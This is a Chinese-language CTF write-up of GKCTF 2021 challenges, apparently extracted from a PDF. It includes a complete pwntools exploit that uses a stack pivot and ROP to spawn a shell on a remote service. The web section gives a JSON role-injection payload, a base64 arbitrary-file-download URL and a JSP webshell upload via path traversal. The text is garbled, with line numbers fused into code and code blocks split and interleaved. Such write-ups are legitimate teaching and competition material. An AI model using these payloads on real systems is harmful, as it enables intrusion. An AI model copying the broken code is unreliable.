
魔法少⼥联合摸⻥WriteUP

MISC

签到

在第5流拿到数据

送进cyberchef



你知道apng吗

直接百度搜索apng分帧⼯具，⼀共四个⼆维码，扫完拼起来。





FireFox Forensics

firepwd一把梭https://github.com/lclevy/firepwd

excel 骚操作

经典考点，excel打开，随便点点，发现有数字1，直接全部替换黑块

https://github.com/lclevy/


修改间距是汉信码，⼿机app直接扫就完事奥

0.03

开局⼀个rar，直接360打开

全部打开（另⼀台电脑做的，直接拍照好了.jpg）

迷惑内容，但是看样⼦可以对应起来，右边数字正好可以被三位等分，直接等分

然后按照前列中⾏后位数和前⾏中列后位数两种⽅式排列进⾏测试



获得两种结果

逐⼀使⽤veracrypt进⾏解密，后者可以成功解密，获得flag密⽂

问卷调查



问卷调查，填写问卷获得flag

银杏岛の奇妙冒险

直接，打个jeimod进去，然后直接，开挂满级装备（博客到时候放通关视频）

逐⼀屠杀然后拼接flag即可，懒得放图了



w3lc0me_t0_9kctf_2021_Check_1n

Crypto

Random

经典MT19937伪随机数破解

MT19937_Crack是我⾃⼰整合的脚本，基本破解脚本github也有。

with open("random.txt") as f:1

    data = f.read().split("\n")[:-1]2

values = []3

for i in range(0,len(data),3):4

    values.append(int(data[i]))5

    values.append(int(data[i+1])&(2**32-1))6

    values.append(int(data[i+1])>>(2**32-1))7

    values.append(int(data[i+2])&(2**32-1))8

    values.append((int(data[i+2])&(2**64-1))>>32)9

    values.append(int(data[i+2])>>64)10

11

with open("output","w") as f:12

    f.write(str(values))13

from MT19937_Crack import crack14

crack("output",'a',1)15

    16

17



然后md5完事

RRRRsa

⼀看就知道要⽤gcd找公因数分解n，然后盲猜出题⼈没对flag做padding，估计分解出⼀个p就

够了，那么只⽤hint3和hint4



(刚搬家，找不到草稿纸）

然后分解出n1，就能恢复n的⼀个因⼦，虽然n不知道，但这⾥直接盲猜有⾮预期，⽤

pow(c,dp,p)恢复mp，只要flag够短，mp就等于m了。（结果也正是这样），抢完⾎第⼆步就没

想了，应该也不难，思路应该差不多。

from gmpy2 import gcd,invert1

2

c=134923927174698178668834314754537709518374762413719897146837375583957697

31416522300851917887957945766132864151382877462142018129852703437240533684

60450837995029364329487772577367550591262220881343562517769661478160121646

58075692013801516699426052084256452583721344655474523764674658330133870185

42999562042758

3



XOR

第⼀步是国外⼀个⽐赛的签到题，是midnight么？有点忘了，然后第⼆步是shallow根据国外那

个改了下出给今年miniL的题，感觉算算法题叭，应该是bfs，第⼀部分单边bfs就好，第⼆部分

要双边bfs。

第⼀步⾃⼰写的，第⼆步直接照抄miniL的wp的Mini-L-CTF-2021/H4n53r-TEAM.md at mai

n · XDSEC/Mini-L-CTF-2021 (github.com)。

n1=75003557379080252219517825998990183226659117019770735080523409561757225

88365104088254751974810758871949826192281686562671410155620764992965582288

99458703411686445080793175822200343746130667519167500362534239906737642340

66999306874078424803774652754587494762629397701664706287999727238636073466

137405374927829

4

c1=68111901092027813007099627893896838517426971082877204047110404787823279

21150818378346889147466136513993332598119152451134521983069306457346211552

93450129700890652011761424174622996507612997580781415041261859213045264149

11455395289228444974516503526507906721378965227166653195076209418852399008

741560796631569

5

hint1=23552090716381769484990784116875558895715552896983313406764042416318

71007625616647242655352024026502397844994597421843578792920228920832915659

48384201908901042264972638524619284747560255393949962889518281721264195699

93301524866753797584032740426259804002564701319538183190684075289055345581

960776903740881951

6

hint2=52723229698530767897979433914470831153268827008372307239630387100752

22685079802336244449921194499677836389452875929056571826634018858225330700

48108500308337521327282569295727036304312326221512008551608866143500001157

04689605102500273815157636476901150408355565958834764444192860513855376978

491299658773170270

7

8

p1 = gcd(pow(invert(2021,n1)*2020*(hint2-212121),202020,n1)-hint1,n1)9

q1 = n1/p110

p = pow(c1,invert(65537,(p1-1)*(q1-1)),n1)11

print(hex(pow(c,invert(65537,p-1),p))[2:].decode('hex'))12

from Crypto.Util.number import *1

from hashlib import md52

'''3

a = getPrime(512)4

b = getPrime(512)5

c = getPrime(512)6

7

8

9

d = getPrime(512)10

11

d1 = int(bin(d)[2:][::-1] , 2)12

n2 = c*d13

x2 = c^d114

15

https://github.com/XDSEC/Mini-L-CTF-2021/blob/main/WriteUps/H4n53r/H4n53r-TEAM.md


16

17

n1 = a*b18

x1 = a^b19

n2 = c*d20

x2 = c^d121

flag = md5(str(a+b+c+d).encode()).hexdigest()22

print("n1 =",n1)23

print("x1 =",x1)24

print("n2 =",n2)25

print("x2 =",x2)26

'''27

n1 = 

83876349443792695800858107026041183982320923732817788196403038436907852045

96867803274436482059125465379010205154873297427294667221965320446864091531

57035785204306355358928700379204148275065781575309209873884712034553577762

60856432484054297100045972527097719870947170053306375598308878558204734888

246779716599

28

x1 = 

47007417675153677559889797592377063597897902810906902458003243508376776246

45184526110027943983952690246679445279368999008839183406301475579349891952

257846

29

n2 = 

65288148454377101841888871848806704694477906587010755286451216632701868457

72284813969603692856188885071744261678258330997571417262647648548336121717

45147474680995678706402774410043223446717174443060553985137330530545975860

90074921540794347615153542286893272415931709396262118416062887003290070001

173035587341

30

x2 = 

36043866886123208741435322629883845622136597985785832108921432615769082811

12223356678900083870327527242238237513170367660043954376063004167228550592

110478

31

32

'''33

a=""34

b=""35

AA=["1"]36

BB=["1"]37

38

39

for i in range(1,512):40

    print(i,len(BB))41

    42

    tmpA=[]43

    tmpB=[]44

    for j in range(2):45

        for k in range(2):46

            for _ in range(len(BB)):47

                #print(i,AA,BB)48



                A = str(j) + AA[_]49

                B = str(k) + BB[_]50

                if (int(A,2)*int(B,2))%(2**i) == n1%(2**i) and 

(int(A,2)^int(B,2))&(2**i-1) == x1&(2**i-1):

51

                    tmpA.append(A)52

                    tmpB.append(B)53

                    #print("okk")54

    AA=tmpA55

    BB=tmpB56

57

for _ in range(len(BB)):58

    A = AA[_]59

    B = BB[_]60

    if (int(A,2)*int(B,2)) == n1 and (int(A,2)^int(B,2)) == x1:61

        print(A,B)62

63

a=0b1001010110011110010010100001001100100010000100110010001111101101100111

01111001010010101101100011101011110101001110111011000000000000001111101111

10011011100110100111101100011100010100110110100001000100110101101000110101

11100011011001101011101101001110100110011111101110110000100101100111110110

10100011010000000010110110010101100110101000011100000010011000011100101100

00110000010111101110011010010000001100011101011111011100111110001010101001

111011011110111100101010001110000100111111010110001010001101101011100001

64

b=0b1100110001011110111101010101011101001011000100101110111110011010001000

10011101011100000111010110010101001101001101111001101101001110001011000001

00111110110011110100010100010000100000101000100110011101100000111000110011

01110001101110100000100110011000011101111101010100010111011110110011111111

10001001010001000010101111010111011011100110001110001110000000010011110100

01011111001010111010000100001001111001010000010100011110111111101101010010

001011110100010010000000010001111100101001010011000011010111000111010111

65

'''66

67

68

69

from Crypto.Util.number import*70

71

72

73

def get_p_q():74

    p_low = [0]75

    q_high = [0]76

    q_low = [0]77

    p_high = [0]78

    maskx = 179

    maskn = 280

    si = 281

    for i in range(256):82

        x_lowbits = (x & maskx) >> i83

        n_lowbits = (n % maskn)84



        tmppp_low = []85

        tmpqq_low = []86

        tmppp_high =[]87

        tmpqq_high =[]88

        x_highbits = (x >> (511-i)) & 189

        n_highbits = (n)>> (1022 - 2*i)90

        print(hex(n_highbits))91

        for j in range(len(p_low)):92

            for pp_low in range(2):93

                for qq_low in range(2):94

                    for pp_high in range(2):95

                        for qq_high in range(2):96

                            if pp_low ^ qq_high == x_lowbits and qq_low ^ 

pp_high == x_highbits:

97

                                temp1 = ((pp_low * maskn //2 + p_low[j]) * 

(qq_low * maskn // 2 + q_low[j])) % maskn 

98

                                temp2 = (((pp_high << (511-i)) + 

p_high[j]) * ((qq_high << (511-i)) + q_high[j]))>>(1022-2*i)

99

                                if temp1 == n_lowbits :100

                                    if n_highbits-temp2 >= 0  and 

n_highbits-temp2 <=(2<<i+1):

101

                                        102

                                        tmppp_low.append(pp_low * maskn 

//2 + p_low[j])

103

                                        tmpqq_low.append(qq_low * maskn 

//2 + q_low[j])

104

                                        tmppp_high.append((pp_high<<(511-

i))+p_high[j])

105

                                        tmpqq_high.append((qq_high<<(511-

i))+q_high[j])

106

                                        #print(tmppp_low)107

                                        #print(tmpqq_low)108

                                        #print(tmppp_high)109

                                        #print(tmpqq_high)110

                                    #else:111

                                        #print(((pp_high << (511-i)) + 

p_high[j]),((qq_high << (511-i)) + q_high[j]))

112

        maskn *= 2113

        maskx *= 2114

        p_low = tmppp_low115

        q_low = tmpqq_low116

        p_high = tmppp_high117

        q_high = tmpqq_high118

        print(i,len(p_low))119

    for a in p_low:120

        for b in p_high:121

            if n %(a+b) ==0:122

                p = a + b123

                print(p)124



有 a,b,c,d。md5⼀下完事

reverse

QQQQT

查看架构，发现是 qt 打包后的⽂件， 尝试使⽤ EnigmaVBUnpacker v0.54.exe  进⾏解包， 

得到⼀堆 exe 和 dll ⽂件

                q = n//p125

                return p,q126

127

n = 

n2#14264021523853787136568371989154130693518073722607108796653811297531294

35067149641643416555411568865195523591735183843663357643398388186384396175

45046906731685628758140658162759582216079833807742803333237267119228131836

58961660058672250312559559078439380567747270812344825601270564509926232387

3911736910168311

128

x = 

x2#26871088335410748840279689399928258968363898101775735437991152927608668

58835988113613745599976930175463756036625174575759254321939315015594803646

458939874 

129

p , q = get_p_q()130

131

p=804692543671020419243830405587477886589541699697084386969885886560395341

11703695269977842242104917691403880469609666446281544892032869402938814271

88058327

132

133

        134

q=811342778902007852668281791694394215348918778610730795876558603261074135

42892805392648534697836213150493855498849031338062941836143520849883651096

30250683

135

136



ida 载⼊ 第⼀个 exe， 

对输⼊进⾏ base58 加密

加密后的字符串和常量进⾏字符串⽐较，⽐较成功弹出窗⼝



尝试解密

getflag!!

12t4tww3r5e77

Crash

go 语⾔编写的 elf 程序

直接⽤ go helper 插件 还原 符号

进⼊关键的 main_check 

__int64 __fastcall main_check(__int64 a1, __int64 a2, __int64 a3, __int64 

a4, __int64 a5, __int64 a6, __int64 a7, unsigned __int64 a8)

1

{2

  unsigned __int64 v8; // rcx3

  int v9; // edx4



  int v10; // er85

  int v11; // er96

  __int64 result; // rax7

  int v13; // er88

  int v14; // er99

  int v15; // er810

  int v16; // er911

  int v17; // edx12

  int v18; // er813

  int v19; // er914

  int v20; // er815

  int v21; // er916

  int v22; // er817

  int v23; // er918

  __int64 v24; // ST18_819

  __int64 v25; // [rsp+18h] [rbp-60h]20

  __int64 v26; // [rsp+18h] [rbp-60h]21

  __int64 v27; // [rsp+20h] [rbp-58h]22

  __int64 v28; // [rsp+28h] [rbp-50h]23

  char v29[32]; // [rsp+30h] [rbp-48h]24

  char v30[32]; // [rsp+50h] [rbp-28h]25

  void *retaddr; // [rsp+78h] [rbp+0h]26

27

  v8 = __readfsqword(0xFFFFFFF8);28

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v8 + 16) )29

    runtime_morestack_noctxt(a1, a2, a3, v8, a5, a6);30

  if ( a8 < 0x1E )                              // 3des cbc加密， key和iv 

是json常量形式保存

31

    runtime_panicSliceAlen(a1, a2, a8, 30, a5, a6);32

  main_encrypto(a1, a2, a8, a7 + 6, a5, a6, a7 + 6, 24LL);// 87f645e9-

b628-412f-9d7a-

33

  result = v25;                                 // 6-30 的 flag34

  if ( v25 == 44 )35

  {36

    runtime_memequal(a1, a2, v9, (unsigned __int64)&unk_5507AF, v10, v11);37

    if ( a8 < 0x22 )38

      runtime_panicSliceAlen(a1, a2, a8, 34, v13, v14);// sha25639

    runtime_stringtoslicebyte(a1, a2, a8, a7 + 30, v13, v14, (__int64)v29, 

a7 + 30, 4LL, 44LL);// e402

40

    Encrypt_HashHex2(a1, a2, v28, v27, v15, v16, v26, v27, v28);// 30-34 

的 flag

41

    result = v26;42

    if ( v27 == 64 )43

    {44

      result = runtime_memequal(a1, a2, v17, 64, v18, v19);45

      if ( (_BYTE)v26 )46

      {47

        if ( a8 < 0x26 )48

          runtime_panicSliceAlen(a1, a2, a8, 38, v20, v21);// sha51249



所有 flag 是分段的， 6-30 是 3des 加密， 30-34 是 sha256, 34-38 是 sha512, 38-42 是 

md5

这⾥由于 ida 的原因，最后⼀段 md5 没有显示

所有的 hash 值都可以通过 cmd5.com 和 somd5.com 解密

最后再算上 main_main ⾥⾯的提示， flag就⻬活了

getflag

GKCTF{87f645e9-b628-412f-9d7a-e402f20af20a}

web

easycms

开局直接进入admin.php，弱口令admin，12345登录后台

        runtime_stringtoslicebyte(a1, a2, a8, a7 + 34, v20, v21, 

(__int64)v30, a7 + 34, 4LL, v26);

50

        Encrypt_HashHex5(                       // 34-38 的 flag51

          a1,52

          a2,                                   // f20a53

          v28,54

          64,55

          v22,56

          v23,57

          v24,58

          64LL,                                 // 最后 md5 加密59

          v28);                                 // f94060

        result = v24;61

      }62

    }63

  }64

  return result;65

}66



接下来就是各种找了，找了半年，在设计处，主题的位置发现了任意⽂件下载

进⼊⾃定义， 直接导出主题，内容随意，就会跳转⾄⽂件下载

531c457b-d27f-4939-b87e-da4824e097c9.node3.buuoj.cn/admin.php?m=ui&f=downlo

adtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMTIz

LnppcA==

http://531c457b-d27f-4939-b87e-da4824e097c9.node3.buuoj.cn/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMTIzLnppcA==


观察url，最后的内容是个base64加密，尝试解密

是个⽬录，直接对/flag进⾏base64加密，尝试下载

获得flag

babycat



进来，⼀个登录，点sign up直接alert不让注册，但是可以抓包绕过

登录进去

role提示为guest，可以进⾏download test下载

这⾥存在任意⽂件下载，但是好像也没啥⽤。



所以⼊⼿点还是在admin这⾥，退出，返回注册。查看源码

可以观察，role是控制权限的，⽽且在代码处可能存在拼接，这⾥尝试拼接json进⾏注⼊。

data=

{"username":"123","password":"123","\u0072\u006F\u006C\u0065":"admin","123":

{"role":"guest"}}

注册成功，登录查看

变成admin⼒，这⾥可以进⼊upload进⾏上传⽂件



由于⽹站是tomcat，直接传jsp🐎就⾏，拿出冰蝎，直接上传

默认⽬录⽆法上传，前⾯图⽚存在的位置是../../static/，所以尝试来个⽬录穿越

然后冰蝎直接连接



最后执⾏readflag即可

Pwn

checkin

输⼊admin和密码，密码被加密了，根据特征发现是md5，反差得到admin。

buf可以溢出8个字节，覆盖rbp进⾏栈迁移。因为read⻓度⽐较短，栈迁移之后返回到第⼀个

read写两次rop

#!/usr/bin/python1

2

from pwn import *3

import sys4

#from LibcSearcher import LibcSearcher5

context.log_level = 'debug'6

context.arch='amd64'7

8

local=09



binary_name='pwn'10

libc_name='libc.so.6'11

if local:12

    p=process("./"+binary_name)13

    libc=ELF("./"+libc_name)14

    #p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", 

"./"+binary_name])

15

    #p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-

g", "1234", "./"+binary_name])

16

else:17

    p=remote('node3.buuoj.cn',26160)18

    e=ELF("./"+binary_name)19

    libc=ELF("./"+libc_name)20

21

def z(a=''):22

    if local:23

        gdb.attach(p,a)24

        if a=='':25

            raw_input26

    else:27

        pass28

ru=lambda x:p.recvuntil(x)29

sl=lambda x:p.sendline(x)30

sd=lambda x:p.send(x)31

sa=lambda a,b:p.sendafter(a,b)32

sla=lambda a,b:p.sendlineafter(a,b)33

ia=lambda :p.interactive()34

def leak_address():35

    if(context.arch=='i386'):36

        return u32(p.recv(4))37

    else :38

        return u64(p.recv(6).ljust(8,b'\x00'))39

40

s1=b'admin\x00\x00\x00'+p64(0x602408)+p64(0x4018e8)41

sa('>',s1)42

buf=b'admin\x00'+b'a'*(0x20-6)+p64(0x602408)43

sa('>',buf)44

pop_rdi=0x0000000000401ab345

puts_got=0x60202846

read_plt=0x4006a047

puts_plt=0x40068048

sd(b'admin\x00\x00\x00'+b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p6

4(0x4018e8))

49

ru('GeBai\n')50

libcbase=leak_address()-libc.sym["puts"]51

print(hex(libcbase))52

system=libcbase+libc.sym["system"]53

binsh=libcbase+0x18ce5754

sd(b'admin\x00\x00\x00'+b'a'*8*4+p64(pop_rdi)+p64(binsh)+p64(system))55



ia()56

57

58


